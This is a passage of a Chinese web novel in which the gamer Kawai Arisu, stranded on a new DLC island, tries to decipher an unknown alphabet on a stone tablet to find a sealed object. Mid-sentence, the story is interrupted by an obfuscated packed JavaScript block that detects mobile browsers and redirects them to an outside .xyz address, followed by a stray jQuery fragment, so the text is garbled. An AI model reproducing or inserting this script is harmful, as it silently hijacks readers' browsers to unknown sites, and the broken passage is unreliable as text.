点点。
往四周走去,就会发现路被石头堵死了,完全无法动弹。而且这些石头不是用十字镐能敲掉的那种,点击后,上面显示了提示。
她的角色蹲下身子,捡起一个漂流瓶模样的东西,然后展开里面的信纸。
【有蛤蜊花纹的图纸:■■的子孙,恭候多时。】
【请通过考验。】
【必须通过石板的提示,找到封印物才能出去。】
新任务来了。
不过为啥是蛤蜊?
不知道,应该是之后的伏笔吧。
石板,石板……
川合有栖在附近找了找,才看到一个很大的石碑,其被掩藏在树叶之后。玩家用镰刀砍断后靠近,发现石碑下方的地上就是一块石板,她用手擦掉石板上的泥土,蹲下身子看查看石板。
石板上写着一串罗马字符的图案,似乎是文字,但她并不认识。
玩家仔细分辨:
上面的文字不是任何一种现代文,川合有栖甚至偷偷拍照截图去问ChatGPT了,都没查出来这是什么语言。
大概是游戏自创的?
这个文字和英文、德语类似,是一种字母文字。
川合有栖估计,每个字符就代表一个字母,几个字母组成一个词,根据游戏原作者的国籍来看,语法大概率不会改,还是主谓宾,可以参考英语。
接下来便是要破解这段话的含义。
一个单词都不认识的情况下要破解,这件事看起来是天方夜谭,但其实是可以破译出来的,这就类似于二战中的恩尼格玛密码破译,只要付出时间和精力、以及多次的尝试,就可以推测出单词的含义。
打一个不恰当的比喻,类似于“无限猴子定理”:假设让一只猴子在打字机上随机地按键,只要尝试次数够多,可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795473|158023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打出任何的文字,比如莎士比亚的全套著作。
但川合有栖不打算现在破译,她知道:
游戏是想要她动点脑,不是要她死。
设计这个环节,决定不是为了让她补密码学的。
纯人工破解太难了,一定会有别的提示出现的,她要活用目前的场地寻找线索。
点开任务栏,川合有栖重新检查。
目前的线索是:
只要按照提示找到【封印物】,就能出去。
【封印物】是什么,在哪里都不知道,这也许就藏在石板上的文字内。
可是石板的文字她也不认识……总是就是什么都不知道,现在毫无目标。
这个岛好难啊。
并盛町DLC是新开放的,玩家在网上搜过了没有攻略,相关的资料也少得可怜,没有同好分享体验。川合有栖忧愁地想:看来接下来就是看运气,也不知道她要找到什么时候,应该等【占卜】结果好一点,运气值EX的时候来的。
来都来了,不要傻站着,起码